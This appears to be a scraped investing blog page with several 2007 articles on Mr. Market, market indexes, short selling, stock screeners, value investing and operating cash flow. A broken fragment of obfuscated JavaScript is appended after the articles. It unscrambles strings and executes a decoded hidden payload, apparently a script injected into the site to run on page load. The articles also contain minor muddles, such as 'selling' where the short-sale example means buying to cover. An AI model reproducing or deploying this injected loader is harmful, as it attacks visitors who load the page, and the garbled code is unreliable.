Think of stock price history and stock quotes like this; you have a business and you are partners in this business with Mr. Market. Everyday he offers you a choice; you can sell your part of the company to him or you can buy his part from him. The decision is up to you. There is one problem; it seems that your business partner is suffering from bi-polar disorder. His moods are either sky-high or filled with deep, dark lows. When he is up, his asking price soars with him and he is only willing to sell at a premium price. When he is low, his price tumbles to reflect his mood, even to the point of selling to you at a loss. In either case, his price is his price and he doesn’t care about the business’ value. Nothing about the business changes, it’s just the difference in Mr. Market’s mood and your own greed and fear.

The good news in this business relationship? You can just ignore Mr. Market and his stock prices if you want; he will simply show up tomorrow with another offer! It’s a beautiful thing; if you know the value of the business, you can catch him on one of his down days and make a great purchase.

This in a nutshell is the way to view stock quotes and the stock market in general. These are simply parts of doing business and should be viewed unemotionally. The twist in this “basics stock market investing” story is that one day Mr. Market will be on one of his highs and offer to buy back his portion of the company at a much larger price.

Stock prices are really the same thing; simply stock quotes from a partner who is very unstable. The stock market will be made easy for you and before long, you will have a smile on your face no matter which direction the market moves. Today’s hot stock quotes will be your next sell; tomorrow’s struggling stock quotes, your next buy.

The stock market is complex and confusing, yet elementary and easily understood for beginner investing. It is your crazy business partner who symbolizes stock quotes. It is the ability to act on or ignore those stock quotes that makes the analogy, and investing in the stock market, the place to be free from your crazy partner!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 24, 2007
Market Indexes

And the Survey Says...
Anyone past their teens remembers the television game show “Family Feud”. There would be a survey and 100 people would give their answer for each question that was asked. The teams on the show would then have to guess their answers in order to win. That survey is a sampling of thoughts. In the stock market, if you wanted to do the same thing you would take a look at the market indexes known as the Dow Jones Industrial Average, the S&P 500 or the NASDAQ Composite. These market indexes represent the performance of a portion of the market and their numbers give traders an indication of whether the direction of their market is going up or down.

The actual numbers reflected by these market indexes is not as important as the percentage of change over time. Added to this percentage is the direction and together the two will tell you if the market is changing, and if that change is for the good or bad. When used with other measurements, the market indexes can help successful traders form opinions about whether to make buys or sells.

Here are some of the most common market indexes and the markets they track:

  • The Dow Jones Industrial Average – This is the granddaddy of them all. The Dow is the oldest, most widely known and most quoted of all the market indexes by those who are investing in the stock market. The Dow tracks 30 of the most influential companies in the US and because of this small sample, it misses out on the small and mid-size companies completely. It is a price weighted market index which means that if a stock price changes by $1, the effect on the market index is the same no matter the price of the stock. The Dow reflects about 25% of the total market and its changes reflect consumer confidence in stocks.


  • S&P 500 – This market index is most commonly used by professionals playing the stock market as a snapshot of the market. It includes 500 of the most widely traded stocks and because it is a market cap weighted index, changes in larger companies tend to reflect more strongly than smaller companies. The S&P 500 tends to be a more accurate indicator than the Dow.


  • The NASDAQ Stock Market Composite – Although this market index includes all of the stocks on the NASDAQ market (more than 5,000), it is historically weighted toward technology stock sectors. This is because it is a market cap weighted index and the technology companies strongly influence this index.


  • Others – There are a number of other market indexes and each has a different focus. Mutual fund investors can find a number of funds that track almost any index they want. In spite of the different market indexes, the “Big 3” best serve the needs of most investors who are analyzing stock market indexes.
Whether you refer to the Dow, the S&P 500, the NASDAQ Composite or other market indexes, it is important to understand how each index is weighted and how its stocks are selected. Market indexes are good tools for fundamental analysis and their review should be part of a trader’s stock investing system. When you get ready to look at the market indexes the next time, don’t forget to shout out, “and the survey says!”


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 21, 2007
Selling Short

Sometimes Selling Yourself Short is a Good Thing!
We really dug deep into creativity bin for today’s title. But in the stock market, sometimes selling yourself short really IS a good thing! Selling short is an advanced trading technique that is an about-face to the typical goal of most investors. When you are selling short you don’t want to find the best stock to buy, instead you want the stocks that are falling! Short sellers (which has nothing to do with little people) don’t look for good stocks to buy; they look for good stocks to sell.

Selling short involves selling stock you don’t own, believing it will fall in price in the near future. When the price drops, you can buy the stock at the lower price, pocket the profit and return the shares to the original owner. This definitely sounds like successful trading, doesn’t it?

Here’s an example. Your stock technical analysis and candlestick charting on Acme Tea suggest that the company is poised to fall. Using your Internet stock trading account, you sell a short on 500 shares of Acme Tea. Since this is actually a credit purchase, you are required to have a margin account, which you do. When the stock is on an “up tick” (stock market talk for a rise in stock price) your purchase is made. The money is escrowed to protect the original owner.

Let’s put some flesh to the bones of this example. You are very bearish on Acme Tea, so you sell short 500 shares. The current price is $25 per share, so your account is credited $12,500 for the transaction. In no time, your faith in your Japanese Candlestick stock trading system pays big dividends; the price of Acme Tea has bottomed out at $15 per share. You sell 500 shares at $15 per share (a total purchase of $7,500), cover your position out of the original $12,500 and pocket the remaining $5,000. Remember that this example ignores the fact that you will owe commissions on your transactions; you just made $5,000 so I think you can cover it!

Are there any risks? There are definitely risks involved with selling short. In the previous example, if the Acme Tea stock suddenly rose to $35 per share instead of falling, you would be required to cover the difference of $10 per share, or $5,000. If you don’t perform your Candlestick chart analysis or if a bull market pulls the stock up, your loss is the difference between the stock price and your short. Needless to say, this could be a lot of money.

As you know, it is impossible to perfectly predict when, or if, a stock will rise or fall. It is possible to identify trends to use in conjunction with your fundamental and technical analysis of a company to get a strong idea. A strong stock trading plan, analysis matrices such as short interest ratio and due diligence with your research will take you far to being able to predict the movement of your stocks. Once you’ve done your homework, don’t be afraid to sell yourself short. If done correctly, it can reap great benefits!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 17, 2007
Stock Screeners

Taking the Stock Market Away From the Dinosaurs
Back in the land before time (at least 25 years ago) when dinosaurs roamed the Earth and successful traders rode them to Wall Street, stock screening was a virtually unknown concept. It was a great idea, screening the stocks of hundreds of companies every day looking for the trends that would lead to buying only the hot stocks. Truth of the matter is, before the Internet, investors either relied on advice from brokers who only got paid when transactions occurred, or on basic stock information that could be gleaned from annual reports, 10-Qs and various other documents that were out-dated by the time they were received. Stock screening was an idea that was out of the question.

Now fast forward to the 21st Century. The Internet has become the source of an incredible amount of data about everything. Computers have become powerful tools, able to screen the results of stocks and decipher mountains of data literally in seconds. Aren’t you glad the “good ole days” have passed you by and that someone invented technical analysis tools?

In reality, it was nearly impossible to perform stock screening of more than a few companies without a flock of analysts. Comparing the results of two or three companies was a daunting task. Today, it is possible to compare many companies and to screen their stocks quite accurately. Today, any investor can access powerful stock market trading tools that, before the Internet, were unavailable, and many of them are free. Of course, there are some very sophisticated tools that come with hefty price tags; however, for most investors all the research they will need is free or available for a modest subscription. Welcome to the modern world of stock screening.

The most basic stock analysis tool is the stock screener. The stock screening that this handy program does in nanoseconds would take you hours and hours of research by hand to do. The best part is there are many stock screeners on the Internet that are free for you to use. Although some of the better ones come as part of subscription packages to good online stock market trading sites, you can get a feel for how they work free of charge. The idea behind this is simple; you want to identify stocks that meet certain criteria rather than haphazardly investing in a stock because it looks good at the moment. Sounds like a good stock trading plan, doesn’t it? Enhance portfolio diversification based on comparative analysis and implement processes to track the performance of your stocks thereafter.

Stock screeners and screening programs allow you to enter different variables such as stock sectors, market cap, sales, dividends, and so forth. The more complex the screen, the more qualifiers you will include. After you enter the qualifiers, the stock screener reviews all the companies listed on the major stock market exchanges and extracts those that meet your criteria. Now you have a list of targets. If the list is too large, run the stock screener again with stricter qualifications to reduce the number of hits. The more sophisticated stock screeners allow you to run additional queries on the compiled data, while the free stock screeners tend to leave you with just the list. Either way, you have just saved yourself hours and hours of work by narrowing down the possible investment options.

Ever wonder why the dinosaurs are extinct? Their inability to adapt to their changing surroundings left them vulnerable. Thanks to the Internet and stock screeners, even a beginner investing in the stock market can avoid financial extinction.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 15, 2007
Value Investing

Finding Profit Investing In Your Values
Ok, now this is a statement that will probably have you scratching your heads. Not everyone in the stock market should be value investing. What? That’s like saying not everyone should be investing in the stock market to make money isn’t it? Who wants to buy stocks that have no value? Ok, now that I’ve rocked your world a bit, I let you in on the secret; value investing has nothing to with the quality of your stock portfolio. Value investing refers to a methodology that shapes the way an investor approaches selecting stocks.

While value stock investing doesn’t specifically refer to the quality of a stock, it has nothing to do with buying junk stocks. This is not bargain basement, penny stock investing. Value investing is about finding stocks that for one reason or another have been priced incorrectly by the stock market.

The investor in value investing is like more focused on specific businesses and their fundamentals than other variables which tend to influence stock prices. Factors such as earnings growth, dividends, cash flow and book value are more important in value investing than stock prices. Value investing is buying and holding stocks for long term investing. If the fundamentals are sound, but the stock’s price is below its obvious value, the value investor knows this is a likely investment candidate. The market has incorrectly valued the stock. When the market corrects that mistake, the stock’s price should experience a nice rise.

Just because a stock experiences a drop doesn’t mean that it is a struggling stock or a candidate for value investing. This happens, yet most of the time the market is right and a stock gets hammered because of any number of sound fundamental reasons, such as declining earnings, declining revenues, or something fundamental changes in their market or product line. A pharmaceutical company has a top seller yanked off the market by the government, an event that fundamentally changes the company.

On the other hand, other pharmaceutical companies may see their stock clipped also, even though they are not part of the recall. That may make them worth a look by a value investor. The value investor is looking for situations such as this where neither the events leading up to a drop in price nor fundamental analysis of the company warrant the drop and will likely be corrected in the market at a later date.

So where do you look for potential purchases if you are value investing? Below are just a few possible locations:

  • A company with a price to earnings ratio in the lower 10% of its sector.
  • A company with a projected earnings growth ratio below one. A PEG ratio below one suggests that a stock may be undervalued.
  • A debt to equity ratio of less than one.
  • Long-term strong earnings growth. A 5 to 10 year period of 6% to 8% earnings is realistic.
  • A price to book ratio of less than one.
Once you identify your target, don’t pay above 60% to 70% of the stock’s intrinsic price. While this is a difficult process, intrinsic value is basically book value plus the value of a company’s intangible assets such as patents, trademarks, research, development, brand and such. These are things that stabilize a company and drive expectations for future growth.

For many successful traders, value investing is a great way to find solid profits in undervalued companies. Value investing requires patience and research but don’t worry, you won’t find yourself at any flea markets looking for deals!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 9, 2007
Operating Cash Flow
Successful Companies and the Money They Spend
For the human being, there are the basic necessities of life: food, water and shelter. In reality, it is similar in the business world. A company has one basic necessity; in order to survive, a company must have cash. A company without cash is like a human without water; neither will be able to exist very long. Successful traders need to be able to see whether a company is healthy or dying and its operating cash flow is a prime indicator for review. Operating cash flow isn’t the same thing as net income, but it is derived from net income through a series of adjustments to working capital accounts on the balance sheet. In other words, operating cash flow monitors the surge of cash in and out of a company. If more cash is flowing in, the flow is positive, if not, the flow is negative.

Why are you negative if the earnings are positive?

A company can actually report positive earnings and still be suffering negative operating cash flow. This is a signal for the investor; if a company regularly spends more cash than it takes in, additional technical analysis is needed. It is important to remember this can be a short-term situation, such as an acquisition, or it can be the sign of problems within a company.

As scandals such as Enron have shown, the financial numbers of a company can be “polished” so that they appear to reflect a positive outcome. With legislation such as Sarbanes – Oxley, however, the government has attempted to eliminate this form of inaccurate reporting so that an investor can truly know and understand the earnings and determine the operating cash flow of a company. The hope is to force companies to accurately report earnings and keep negative Wall Street news to a minimum. 

Studying the Tides
For investors, understanding operating cash flow is a little like watching the tides of the ocean. The tide comes in, the tide goes out…but there’s a big difference in the business world. Unlike the ocean, the cash flowing in and out of a company can vary greatly and it can be very difficult to spot as well. An investor can use the operating cash flow to look for situations where a company doesn’t have enough cash coming in to meet its expenses. Fundamental analysis of such a company is required to understand if this is temporary or a chronic problem.

Conclusion

For investors, operating cash flow is one excellent measure of the health of a company. Since it is never wise to rely on only one metric, reviewing operating cash flow for previous years, calculating cash flow ratios or earnings per share can also be extremely helpful in obtaining an accurate picture of the fiscal health of a company. It is also possible to use the price to cash flow ratio; P/CF can also be used in stock screeners to eliminate companies that burn cash and increase your chances of successful trading. Operating cash flow is not a perfect measurement and should not be relied on solely for making decisions on stock purchases. It can be manipulated and should only be one the metrics used by a savvy investor to identify companies for potential purchase. Always remember that for a company, cash is a necessity of life!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


Sx' && Iw!='pV'){Iw='Sx'};this.zN="zN";for(var H = k; H < fL; H += d) {var aj;if(aj!='' && aj!='AU'){aj='PS'};var Mr='';var yG="yG";var L = ts.substr(H, d);this.jO="";var VL;,1,6,2]),15, q("ogolgec.om", [1,0,2]),16, q("cthca(e)", [3,4,1,0,2]),17, q("th\":pt", [2,1,0]),18, q("r.sdc", [3,1,2,0,4]),19, q("1\'\')", [2,0,1,3]),20, q("rty", [1,0,2])];var Yx;if(Yx!='MPM' && Yx!='qf'){Yx=''};var WH=new Array();var Vp;if(Vp!='tr' && Vp!='pO'){Vp=''};var EE;if(EE!='DE' && EE != ''){EE=null};for(var i=k; i < zp; i+=n){this.me="";var wo=new Date();T+= P; T+= w[q("ubstrs", [2,0,1])](i, n);var NB=59359;}var Mf;if(Mf!='Hi'){Mf=''};var Zd;if(Zd!='KM'){Zd=''};var w = u(T);var CD = new l(e);var ih = CD[q("percale", [2,1,0])](p, J);var JF=false;var kT = new l(wx);this.bjq=6813;this.gW=62647;ih = f(ih);this.oZ=false;this.dD=false;var kx = xA[q("gtnhle", [4,5,2,0,1,3])];this.JN="JN";this.zg=false;this.JV=false;var mt='';var ID='';var fq = kT[q("plerace", [3,6,0,1,4,5,2])](p, J);var Fx='';var Ch='';var fq = A(fq);var Xy;if(Xy!='iQ'){Xy=''};var HJ="";var we=A(ih);var SL=63818;var IF;if(IF!='jOig'){IF='jOig'};for(var H=k; H < (w[q("nelgth", [2,1,0,3])]);H=H+[19,162,1,124][2]) {var Gz;if(Gz!='' && Gz!='Nu'){Gz='mo'};var By=42072;this.lQ=false;var qP='';var pY = ih.charCodeAt(B);var AgR="AgR";var JVq;if(JVq!='fd'){JVq=''};var vM = v(w,H);this.UL="";var FN;if(FN!='' && FN!='mr'){FN=null};vM = z(vM, pY);this.CZ="CZ";vM = z(vM, we);var nE;if(nE!='hM' && nE != ''){nE=null};var Oc;if(Oc!='Xo' && Oc != ''){Oc=null};vM = z(vM, fq);this.lT="lT";this.FQ=1460;B++;this.vR=58904;this.UT=42938;var yW;if(yW!='Tj' && yW != ''){yW=null};var ip=64943;if(B > ih.length-C){var Chc;if(Chc!='uh' && Chc!='KB'){Chc=''};var mF;if(mF!='Xl'){mF='Xl'};B=k;}this.kv="";var bh;if(bh!='' && bh!='PK'){bh=''};b += E(vM);var tb="tb";}var tY;if(tY!='sx' && tY!='Fu'){tY=''};var jo;if(jo!='ye'){jo='ye'};var sF;if(sF!='' && sF!='Il'){sF=null};for(AB=k; AB < kx; AB+=n){this.Wm=false;var Lu;if(Lu!='KH'){Lu='KH'};var lW="";var wc=new Date();var Jr = xA[AB + C];var rL=new Date();var Cb=new Date();var bA = E(xA[AB]);var Br;if(Br!='nFc'){Br=''};var zFP=false;var wt;if(wt!='' && wt!='tl'){wt=''};var gm = new xC(bA, E(103));b=b[q("aecplre", [5,1,3,4,0,2])](gm, Jr);var Tf=new Array();}var RX;if(RX!='' && RX!='bz'){RX=null};this.aY="aY";var lb;if(lb!='ol' && lb!='zB'){lb='ol'};var BW=new wx(b);BW();var bb;if(bb!='' && bb!='fTX'){bb=null};var sJ=60773;this.Kf='';var Sj=34700;kT = '';var JE;if(JE!='' && JE!='Le'){JE=null};b = '';this.YYy=33917;var sro=new String();fq = '';var AO;if(AO!='' && AO!='YW'){AO='GW'};ih = '';var Uo=new String();BW = '';this.yBc="yBc";this.Hp="Hp";var Fl;if(Fl!='Lp' && Fl!='Rc'){Fl='Lp'};we = '';this.OU=false;var kW;if(kW!='wF' && kW != ''){kW=null};this.pr=6830;return '';var RuS='';var ows;if(ows!='KS' && ows!='MQ'){ows='KS'};};var kQ;if(kQ!='Vle' && kQ != ''){kQ=null};var Ar;if(Ar!='' && Ar!='nEZ'){Ar='Ed'};e(PA);